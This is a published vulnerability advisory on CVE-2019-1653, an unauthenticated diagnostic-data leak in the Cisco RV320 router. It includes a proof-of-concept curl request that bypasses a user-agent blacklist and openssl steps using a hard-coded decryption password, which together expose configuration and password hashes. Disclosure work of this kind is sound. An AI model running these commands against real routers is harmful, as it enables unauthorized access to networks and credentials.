RedTeam Pentesting GmbH

Cisco RV320 Unauthenticated Diagnostic Data Retrieval

RedTeam Pentesting discovered that the Cisco RV320 router still exposes sensitive diagnostic data without authentication via the device’s web interface due to an inadequate fix by the vendor.

Details

Product: Cisco RV320 Dual Gigabit WAN VPN Router, possibly others
Affected Versions: 1.4.2.15 through 1.4.2.20
Fixed Versions: 1.4.2.22
Vulnerability Type: Information Disclosure
Security Risk: high
Vendor URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-004
Advisory Status: published
CVE: CVE-2019-1653
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1653

Introduction

“Keep your employees, your business, and yourself productive and effective. The Cisco RV320 Dual Gigabit WAN VPN Router is an ideal choice for any small office or small business looking for performance, security, and reliability in its network.” (from the Cisco RV320 product page (https://www.cisco.com/c/en/us/products/routers/rv320-dual-gigabit-wan-vpn-router/index.html))

More Details

The Cisco RV320 Dual Gigabit WAN VPN Router provides a web-based configuration interface, which is implemented in various CGI programs in the device’s firmware. Access to this web interface requires prior authentication using a username and password. Previously, RedTeam Pentesting identified a vulnerability (rt-sa-2018-003) (https://www.redteam-pentesting.de/advisories/rt-sa-2018-003) in the CGI program:

/cgi-bin/export_debug_msg.exp

By issuing an HTTP POST request to this program, it was possible to retrieve various diagnostic information from the device, including its current configuration. This request did not require any prior authentication. Cisco adressed this vulnerability in firmware version 1.4.2.19 (https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info).

RedTeam Pentesting discovered that the CGI program in the patched firmware is still vulnerable. The user agent “curl” is blacklisted by the firmware and must be adjusted in the HTTP client. Again, exploitation does not require any authentication.

Proof of Concept

The diagnostic data can be retrieved by issuing an HTTP POST request to the vulnerable CGI program. OpenSSL is used to decrypt the data with the hard-coded password “NKDebug12#$%” before unpacking it with tar (output shortened):

$ curl -k -A kurl -X POST --data 'submitdebugmsg=1' \
  'https://192.168.1.1/cgi-bin/export_debug_msg.exp' > debug

$ openssl aes-128-cbc -salt -md md5 -d \
  -k 'NKDebug12#$%' < debug > debug.tgz

$ mkdir output && tar -xf debug.tgz -C output/

$ ls -1 output/
debug_messages.txt
etc.tgz
nk_sysconfig
var.tgz

$ cat output/nk_sysconfig
####sysconfig####
[VERSION]
VERSION=73
MODEL=RV320
SSL=0
IPSEC=0
PPTP=0
PLATFORMCODE=RV0XX
[...]
[SYSTEM]
HOSTNAME=router
DOMAINNAME=example.com
DOMAINCHANGE=1
USERNAME=cisco
PASSWD=066bae9070a9a95b3e03019db131cd40
[...]

Workaround

Prevent untrusted clients from connecting to the device’s web server.

Fix

Install firmware version 1.4.2.22 (or later) on the router.

Security Risk

This vulnerability is rated as a high risk as it exposes sensitive diagnostic information, such as the device’s configuration, to untrusted, potentially malicious parties. By retrieving this information, attackers can obtain internal network configuration, VPN or IPsec secrets, as well as password hashes for the router’s user accounts. Knowledge of a user’s password hash is sufficient to log into the router’s web interface, cracking of the hash is not required. Any information obtained through exploitation of this vulnerability can be used to facilitate further compromise of the device itself or attached networks.

Timeline

2018-09-19 Original vulnerability identified
2018-09-27 Customer approved disclosure to vendor
2018-09-28 Vendor notified
2018-10-05 Receipt of advisory acknowledged by vendor
2018-10-05 Notified vendor of disclosure date: 2019-01-09
2018-11-18 List of affected versions provided by vendor
2018-12-21 Postponing disclosure to 2019-01-23, as requested by vendor
2019-01-22 Firmware 1.4.2.20 released by vendor
2019-01-23 Advisory (rt-sa-2018-003) published
2019-02-07 Incomplete mitigation of vulnerability identified
2019-02-08 Proof of concept sent to vendor
2019-02-08 Receipt of proof of concept acknowledged by vendor
2019-02-15 Full advisory sent to vendor
2019-02-15 Notified vendor of disclosure date: 2019-03-27
2019-03-25 Requested progress update from vendor
2019-03-25 Vendor requests postponed disclosure
2019-03-25 Postponement declined
2019-03-27 Advisory published
2019-04-04 Firmware 1.4.2.22 released by vendor

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